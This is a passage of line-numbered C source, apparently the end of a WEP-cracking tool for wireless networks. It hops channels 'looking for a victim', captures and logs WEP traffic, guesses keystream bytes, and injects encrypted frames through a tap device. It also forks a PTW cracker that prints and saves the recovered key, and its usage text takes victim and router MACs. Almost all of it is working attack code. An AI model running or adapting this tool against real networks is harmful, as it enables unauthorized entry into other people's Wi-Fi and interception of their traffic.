2078 
2079 void save_key(unsigned char *key, int len)
2080 {
2081 	char tmp[16];
2082 	char k[64];
2083 	int fd;
2084 	int rd;
2085 
2086 	assert(len*3 < sizeof(k));
2087 
2088 	k[0] = 0;
2089 	while (len--) {
2090 		sprintf(tmp, "%.2X", *key++);
2091 		strcat(k, tmp);
2092 		if (len)
2093 			strcat(k, ":");
2094 	}
2095 
2096 	fd = open(KEY_FILE, O_WRONLY | O_CREAT, 0644);
2097 	if (fd == -1)
2098 		err(1, "open()");
2099 
2100 	printf("\nKey: %s\n", k);
2101 	rd = write(fd, k, strlen(k));
2102 	if (rd == -1)
2103 		err(1, "write()");
2104 	if (rd != strlen(k))
2105 		errx(1, "write %d/%d\n", rd, strlen(k));
2106 	close(fd);
2107 }
2108 
2109 #define KEYLIMIT (1000000)
2110 int do_crack(void)
2111 {
2112 	unsigned char key[PTW_KEYHSBYTES];
2113 
2114 	if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2115 		save_key(key, 13);
2116 		return 1;
2117 	}
2118 	if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2119 		save_key(key, 5);
2120 		return 1;
2121 	}
2122 
2123 	return 0;
2124 }
2125 
2126 void try_crack() {
2127 	if (crack_pid) {
2128 		printf("\n");
2129 		time_print("Warning... previous crack still running!\n");
2130 		kill_crack();
2131 	}
2132 
2133 	if (weplog.fd) {
2134 		if (fsync(weplog.fd) == -1)
2135 			err(1, "fsync");
2136 	}
2137 
2138 	crack_pid = fork();
2139 
2140 	if (crack_pid == -1)
2141 		err(1, "fork");
2142 
2143 	// child
2144 	if (crack_pid == 0) {
2145 		if (!do_crack())
2146 			printf("\nCrack unsuccessful\n");
2147 		exit(1);
2148 	}
2149 
2150 	// parent
2151 	printf("\n");
2152 	time_print("Starting crack PID=%d\n", crack_pid);
2153 	if (gettimeofday(&crack_start, NULL) == -1)
2154 		err(1, "gettimeofday");
2155 
2156 
2157 	wep_thresh += thresh_incr;
2158 }
2159 
2160 void open_tap() {
2161 	struct stat st;
2162 	int s;
2163 	struct ifreq ifr;
2164 	unsigned int flags;
2165 
2166 	tapfd = open(TAP_DEV, O_RDWR);
2167 	if (tapfd == -1) {
2168 		printf("Can't open tap: %s\n", strerror(errno));
2169 		exit(1);
2170 	}
2171 	if(fstat(tapfd, &st) == -1) {
2172 		perror("fstat()");
2173 		exit(1);
2174 	}
2175 
2176 	// feer
2177 	strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2178 
2179 	s = socket(PF_INET, SOCK_DGRAM, 0);
2180 	if (s == -1) {
2181 		perror("socket()");
2182 		exit(1);
2183 	}
2184 
2185 	// MTU
2186 	memset(&ifr, 0, sizeof(ifr));
2187 	strcpy(ifr.ifr_name, tapdev);
2188 	ifr.ifr_mtu = 1500;
2189 	if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2190 		perror("ioctl(SIOCSIFMTU)");
2191 		exit(1);
2192 	}
2193 
2194 	// set iface up
2195 	memset(&ifr, 0, sizeof(ifr));
2196 	strcpy(ifr.ifr_name, tapdev);
2197 	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2198 		perror("ioctl(SIOCGIFFLAGS)");
2199 		exit(1);
2200 	}
2201 
2202 	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2203 	flags |= IFF_UP;
2204 
2205 	memset(&ifr, 0, sizeof(ifr));
2206 	strcpy(ifr.ifr_name, tapdev);
2207 	ifr.ifr_flags = flags & 0xffff;
2208 	ifr.ifr_flagshigh = flags >> 16;
2209 	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2210 		perror("ioctl(SIOCSIFFLAGS)");
2211 		exit(1);
2212 	}
2213 
2214 	close(s);
2215 	time_print("Opened tap device: %s\n", tapdev);
2216 }
2217 
2218 void read_tap() {
2219 	unsigned char buf[4096];
2220 	struct ether_header* eh;
2221 	struct ieee80211_frame* wh;
2222 	int rd;
2223 	unsigned char* ptr, *body;
2224 	int dlen;
2225 
2226 	rd = read(tapfd, buf, sizeof(buf));
2227 	if (rd == -1) {
2228 		perror("read()");
2229 		exit(1);
2230 	}
2231 	dlen = rd - sizeof(*eh);
2232 
2233 	assert(dlen > 0);
2234 
2235 	if (dlen+8 > prgainfo.len) {
2236 		printf("\n");
2237 		// XXX lame message...
2238 		time_print("Sorry... want to send %d but only got %d prga\n",
2239 			   dlen, prgainfo.len);
2240 		return;
2241 
2242 	}
2243 
2244 	if (taptx_len) {
2245 		printf("\n");
2246 		time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2247 		// XXX could not read instead and get rid of it in select...
2248 	}
2249 
2250 	assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2251 
2252 	eh = (struct ether_header*) buf;
2253 
2254 	wh = (struct ieee80211_frame*) taptx;
2255 	memset(wh, 0, sizeof(*wh));
2256 	fill_basic(wh);
2257 
2258         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2259         wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
2260 
2261 	memcpy(wh->i_addr2, eh->ether_shost, 6);
2262 	memcpy(wh->i_addr3, eh->ether_dhost, 6);
2263 
2264         body = (unsigned char*) wh + sizeof(*wh);
2265         ptr = body;
2266         ptr += 4; // iv
2267 
2268 	do_llc(ptr, ntohs(eh->ether_type));
2269 	ptr += 8;
2270 
2271 	memcpy(ptr, &buf[sizeof(*eh)], dlen);
2272 
2273 	wepify(body, 8+dlen);
2274 	taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2275 
2276 	assert (taptx_len < sizeof(taptx));
2277 }
2278 
2279 int elapsedd(struct timeval *past, struct timeval *now)
2280 {
2281         int el;
2282 
2283         el = now->tv_sec - past->tv_sec;
2284         assert(el >= 0);
2285         if (el == 0) {
2286                 el = now->tv_usec - past->tv_usec;
2287         } else {
2288                 el = (el - 1)*1000*1000;
2289                 el += 1000*1000-past->tv_usec;
2290                 el += now->tv_usec;
2291         }
2292 
2293         return el;
2294 }
2295 
2296 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2297 {
2298 #define BIT(n)  (1<<(n))
2299         struct bpf_hdr *bpfh;
2300         struct ieee80211_radiotap_header *rth;
2301         uint32_t present;
2302         uint8_t rflags;
2303         void *ptr;
2304 	static int nocrc = 0;
2305 
2306 	assert(*totlen);
2307 
2308         /* bpf hdr */
2309         bpfh = (struct bpf_hdr*) (*data);
2310         assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2311         *totlen -= bpfh->bh_hdrlen;
2312 
2313         /* check if more packets */
2314         if ((int)bpfh->bh_caplen < *totlen) {
2315                 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2316                 int offset = BPF_WORDALIGN(tot);
2317 
2318                 *data = (char*)bpfh + offset;
2319                 *totlen -= offset - tot; /* take into account align bytes */
2320         } else if ((int)bpfh->bh_caplen > *totlen)
2321                 abort();
2322 
2323         *plen = bpfh->bh_caplen;
2324         *totlen -= bpfh->bh_caplen;
2325         assert(*totlen >= 0);
2326 
2327         /* radiotap */
2328         rth = (struct ieee80211_radiotap_header*)
2329               ((char*)bpfh + bpfh->bh_hdrlen);
2330         /* XXX cache; drivers won't change this per-packet */
2331         /* check if FCS/CRC is included in packet */
2332         present = le32toh(rth->it_present);
2333         if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2334                 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2335                         rflags = ((const uint8_t *)rth)[8];
2336                 else
2337                         rflags = ((const uint8_t *)rth)[0];
2338         } else
2339                 rflags = 0;
2340         *plen -= rth->it_len;
2341         assert(*plen > 0);
2342 
2343         /* 802.11 CRC */
2344         if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2345                 *plen -= IEEE80211_CRC_LEN;
2346                 nocrc = 1;
2347         }
2348 
2349         ptr = (char*)rth + rth->it_len;
2350 
2351         return ptr;
2352 #undef BIT
2353 }
2354 
2355 static int read_packet(int fd, unsigned char *dst, int len)
2356 {
2357 	static unsigned char buf[4096];
2358 	static int totlen = 0;
2359 	static unsigned char *next = buf;
2360         unsigned char *pkt;
2361         int plen;
2362 
2363         assert(len > 0);
2364 
2365         /* need to read more */
2366         if (totlen == 0) {
2367                 totlen = read(fd, buf, sizeof(buf));
2368                 if (totlen == -1) {
2369                         totlen = 0;
2370                         return -1;
2371                 }
2372                 next = buf;
2373         }
2374 
2375         /* read 802.11 packet */
2376         pkt = get_80211(&next, &totlen, &plen);
2377         if (plen > len)
2378                 plen = len;
2379         assert(plen > 0);
2380         memcpy(dst, pkt, plen);
2381 
2382         return plen;
2383 }
2384 
2385 void own(int wifd) {
2386 	unsigned char buf[4096];
2387 	int rd;
2388 	fd_set rfd;
2389 	struct timeval tv;
2390 	char *pbar = "/-\\|";
2391 	char *pbarp = &pbar[0];
2392 	struct timeval lasthop;
2393 	struct timeval now;
2394 	unsigned int last_wep_count = 0;
2395 	struct timeval last_wcount;
2396 	struct timeval last_status;
2397 	int fd;
2398 	int largest;
2399 
2400 	weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2401 	if (weplog.fd == -1) {
2402 		struct pcap_file_header pfh;
2403 
2404 		memset(&pfh, 0, sizeof(pfh));
2405 		pfh.magic           = TCPDUMP_MAGIC;
2406 		pfh.version_major   = PCAP_VERSION_MAJOR;
2407 		pfh.version_minor   = PCAP_VERSION_MINOR;
2408 		pfh.thiszone        = 0;
2409 		pfh.sigfigs         = 0;
2410 		pfh.snaplen         = 65535;
2411 		pfh.linktype        = LINKTYPE_IEEE802_11;
2412 
2413 		weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2414 				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2415 		if (weplog.fd != -1) {
2416 			if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2417 				err(1, "write()");
2418 		}
2419 	}
2420 	else {
2421 		time_print("WARNING: Appending in %s\n", WEP_FILE);
2422 	}
2423 
2424 	if (weplog.fd == -1) {
2425 		perror("open()");
2426 		exit(1);
2427 	}
2428 
2429 	fd = open(PRGA_FILE, O_RDONLY);
2430 	if (fd != -1) {
2431 		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2432 		rd = read(fd, buf, sizeof(buf));
2433 		if (rd == -1) {
2434 			perror("read()");
2435 			exit(1);
2436 		}
2437 		if (rd >= 8) {
2438 			set_prga(buf, NULL, &buf[3], rd - 3);
2439 		}
2440 
2441 		close(fd);
2442 	}
2443 
2444 	fd = open(DICT_PATH, O_RDONLY);
2445 	if (fd == -1) {
2446 		time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2447 		if (mkdir (DICT_PATH, 0755) == -1) {
2448 			perror("mkdir()");
2449 			exit(1);
2450 		}
2451 	}
2452 	else
2453 		close(fd);
2454 
2455 	open_tap();
2456 	set_if_mac(mymac, tapdev);
2457 	time_print("Set tap MAC to: %s\n", mac2str(mymac));
2458 
2459 	if (tapfd > wifd)
2460 		largest = tapfd;
2461 	else
2462 		largest = wifd;
2463 
2464 	if (signal(SIGINT, &cleanup) == SIG_ERR) {
2465 		perror("signal()");
2466 		exit(1);
2467 	}
2468 	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2469 		perror("signal()");
2470 		exit(1);
2471 	}
2472 
2473 	time_print("Looking for a victim...\n");
2474 	if (gettimeofday(&lasthop, NULL) == -1) {
2475 		perror("gettimeofday()");
2476 		exit(1);
2477 	}
2478 
2479 	memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2480 	memcpy(&last_status, &lasthop, sizeof(last_status));
2481 
2482 	while (1) {
2483 		if (gettimeofday(&now, NULL) == -1) {
2484 			perror("gettimeofday()");
2485 			exit(1);
2486 		}
2487 
2488 		/* check for relay timeout */
2489 		if (fragstate.waiting_relay) {
2490 			int el;
2491 
2492 			el = now.tv_sec - fragstate.last.tv_sec;
2493 			assert (el >= 0);
2494 			if (el == 0) {
2495 				el = now.tv_usec - fragstate.last.tv_usec;
2496 			} else {
2497 				el--;
2498 
2499 				el *= 1000*1000;
2500 				el += 1000*1000 - fragstate.last.tv_usec;
2501 				el += now.tv_usec;
2502 
2503 				if (el > (1500*1000)) {
2504 //					printf("\nLAMER timeout\n\n");
2505 					free(fragstate.data);
2506 					fragstate.data = 0;
2507 				}
2508 			}
2509 		}
2510 
2511 		/* check for arp timeout */
2512 		if (rtrmac == (unsigned char*) 1) {
2513 			int el;
2514 
2515 			el = elapsedd(&arpsend, &now);
2516 			if (el >= (1500*1000)) {
2517 				rtrmac = 0;
2518 			}
2519 		}
2520 
2521 		// status bar
2522 		if ( (now.tv_sec > last_status.tv_sec ) ||
2523 		     ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2524 		     	if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2525 				check_key();
2526 			}
2527 			if (netip && prgainfo.len >= min_prga &&
2528 			    rtrmac > (unsigned char*) 1) {
2529 				time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2530 				       weplog.packets, wep_thresh,
2531 				       weplog.iv[0], weplog.iv[1], weplog.iv[2],
2532 				       weplog.rate);
2533 				fflush(stdout);
2534 			}
2535 			else {
2536 				if (state == FIND_VICTIM)
2537 					time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2538 				else if (decryptstate.cipher) {
2539 					int pos = decryptstate.prgainfo.len - 1;
2540 					unsigned char prga = decryptstate.prgainfo.prga[pos];
2541 					assert(pos);
2542 
2543 					time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2544 						   prga, decryptstate.cipher[pos] ^ prga);
2545 				}
2546 				else
2547 					time_print("%c\r", *pbarp);
2548 				fflush(stdout);
2549 			}
2550 			memcpy(&last_status, &now,sizeof(last_status));
2551 		}
2552 
2553 		// check if we are cracking
2554 		if (crack_pid) {
2555 			if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2556 				kill_crack();
2557 		}
2558 
2559 		// check TX  / retransmit
2560 		if (txstate.waiting_ack) {
2561 			unsigned int elapsed = now.tv_sec -
2562 					       txstate.tsent.tv_sec;
2563 			elapsed *= 1000*1000;
2564 			elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2565 
2566 			if (elapsed >= ack_timeout)
2567 				send_frame(wifd, NULL, -1);
2568 		}
2569 
2570 		// INPUT
2571 		// select
2572 		FD_ZERO(&rfd);
2573 		FD_SET(wifd, &rfd);
2574 		FD_SET(tapfd, &rfd);
2575 		tv.tv_sec = 0;
2576 		tv.tv_usec = 1000*10;
2577 		rd = select(largest+1, &rfd, NULL, NULL, &tv);
2578 		if (rd == -1) {
2579 			perror("select()");
2580 			exit(1);
2581 		}
2582 
2583 		// read
2584 		if (rd != 0) {
2585 			// wifi
2586 			if (FD_ISSET(wifd, &rfd)) {
2587 				rd = read_packet(wifd, buf, sizeof(buf));
2588 				if (rd == 0)
2589 					return;
2590 				if (rd == -1) {
2591 					perror("read()");
2592 					exit(1);
2593 				}
2594 
2595 				pbarp++;
2596 				if(!(*pbarp))
2597 					pbarp = &pbar[0];
2598 				// input
2599 				anal(buf, rd, wifd);
2600 			}
2601 
2602 			// tap
2603 			if (FD_ISSET(tapfd, &rfd)) {
2604 				read_tap();
2605 			}
2606 		}
2607 
2608 		// check state and what we do next.
2609 		if (state == FIND_VICTIM) {
2610 			if (now.tv_sec > lasthop.tv_sec ||
2611 			    ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2612 				int chan = chaninfo.chan;
2613 				chan++;
2614 
2615 				if(chan > max_chan)
2616 					chan = 1;
2617 
2618 				set_chan(chan);
2619 				memcpy(&lasthop, &now, sizeof(lasthop));
2620 			}
2621 		} else {
2622 		// check if we need to write something...
2623 			if (!txstate.waiting_ack)
2624 				can_write(wifd);
2625 
2626 			// roughly!
2627 
2628 #ifdef MORE_ACCURATE
2629 			if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2630 				unsigned int elapsed;
2631 				int secs;
2632 				int packetz = weplog.packets - last_wep_count;
2633 				elapsed = 1000*1000;
2634 
2635 				elapsed -= last_wcount.tv_usec;
2636 
2637 				assert(elapsed >= 0);
2638 				elapsed += now.tv_usec;
2639 
2640 				secs = now.tv_sec - last_wcount.tv_sec;
2641 				secs--;
2642 				if (secs > 0)
2643 					elapsed += (secs*1000*1000);
2644 
2645 				weplog.rate = (int)
2646 				((double)packetz/(elapsed/1000.0/1000.0));
2647 #else
2648 			if ( now.tv_sec > last_wcount.tv_sec) {
2649 				weplog.rate = weplog.packets - last_wep_count;
2650 #endif
2651 				last_wep_count = weplog.packets;
2652 				memcpy(&last_wcount, &now, sizeof(now));
2653 
2654 				if (wep_thresh != -1 && weplog.packets > wep_thresh)
2655 					try_crack();
2656 			}
2657 		}
2658 	}
2659 }
2660 
2661 void start(char *dev) {
2662 	int fd;
2663 
2664 	setup_if(dev);
2665 
2666 	fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2667 
2668 	ptw = PTW_newattackstate();
2669 	if (!ptw)
2670 		err(1, "PTW_newattackstate()");
2671 
2672 	own(fd);
2673 
2674 #if 0
2675 	{
2676 		int i;
2677 		struct timeval tv;
2678 		set_chan(11);
2679 		for (i = 0; i < 10; i++) {
2680 			gettimeofday(&tv, NULL);
2681 
2682 			send_ack(tx);
2683 //			usleep(500);
2684 			printf("%lu\n", tv.tv_usec);
2685 		}
2686 	}
2687 #endif
2688 
2689 	close(fd);
2690 }
2691 
2692 void usage(char* pname) {
2693 	printf("Usage: %s <opts>\n", pname);
2694 	printf("-h\t\tthis lame message\n");
2695 	printf("-i\t\t<iface>\n");
2696 	printf("-s\t\t<flood server ip>\n");
2697 	printf("-m\t\t<my ip>\n");
2698 	printf("-n\t\t<net ip>\n");
2699 	printf("-r\t\t<rtr mac>\n");
2700 	printf("-a\t\t<mymac>\n");
2701 	printf("-c\t\tdo not crack\n");
2702 	printf("-p\t\t<min prga>\n");
2703 	printf("-4\t\t64 bit key\n");
2704 	printf("-v\t\tvictim mac\n");
2705 	printf("-t\t\t<crack thresh>\n");
2706 	printf("-f\t\t<max chan>\n");
2707 	exit(0);
2708 }
2709 
2710 void str2mac(unsigned char* dst, unsigned char* mac) {
2711 	unsigned int macf[6];
2712 	int i;
2713 
2714 	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2715                    &macf[0], &macf[1], &macf[2],
2716                    &macf[3], &macf[4], &macf[5]) != 6) {
2717 
2718 		   printf("can't parse mac %s\n", mac);
2719 		   exit(1);
2720 	}
2721 
2722 	for (i = 0; i < 6; i++)
2723 		*dst++ = (unsigned char) macf[i];
2724 }
2725 
2726 int main(int argc, char *argv[]) {
2727 	unsigned char* dev = "ath0";
2728 	unsigned char rtr[6];
2729 	unsigned char vic[6];
2730 
2731 	int ch;
2732 
2733 	if (gettimeofday(&real_start, NULL) == -1) {
2734 		perror("gettimeofday()");
2735 		exit(1);
2736 	}
2737 
2738 	chaninfo.s = -1;
2739 	victim.ssid = 0;
2740 	prgainfo.len = 0;
2741 
2742 	memset(&txstate, 0, sizeof(txstate));
2743 	memset(&fragstate, 0, sizeof(fragstate));
2744 	memset(&decryptstate, 0, sizeof(decryptstate));
2745 	memset(&weplog, 0, sizeof(weplog));
2746 
2747 	state = FIND_VICTIM;
2748 
2749 	while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2750 		switch (ch) {
2751 			case 'a':
2752 				str2mac(mymac, optarg);
2753 				break;
2754 
2755 			case 's':
2756 				floodip = optarg;
2757 				break;
2758 
2759 			case 'i':
2760 				dev = optarg;
2761 				break;
2762 
2763 			case 'm':
2764 				strncpy(myip, optarg, sizeof(myip)-1);
2765 				myip[sizeof(myip)-1] = 0;
2766 				break;
2767 
2768 			case 'n':
2769 				netip = optarg;
2770 				netip_arg = 1;
2771 				break;
2772 
2773 			case 'r':
2774 				str2mac(rtr, optarg);
2775 				rtrmac = rtr;
2776 				break;
2777 
2778 			case 'v':
2779 				str2mac(vic, optarg);
2780 				victim_mac = vic;
2781 				break;
2782 
2783 			case 'c':
2784 				wep_thresh = -1;
2785 				break;
2786 
2787 			case 'p':
2788 				min_prga = atoi(optarg);
2789 				break;
2790 
2791 			case 't':
2792 				thresh_incr = wep_thresh = atoi(optarg);
2793 				break;
2794 
2795 			case 'f':
2796 				max_chan = atoi(optarg);
2797 				break;
2798 
2799 			case '4':
2800 				bits = 64;
2801 				break;
2802 
2803 			default:
2804 				usage(argv[0]);
2805 				break;
2806 		}
2807 	}
2808 
2809 	start(dev);
2810 
2811 	if(chaninfo.s != -1)
2812 		close(chaninfo.s);
2813 	if(victim.ssid)
2814 		free(victim.ssid);
2815 	exit(0);
2816 }
2817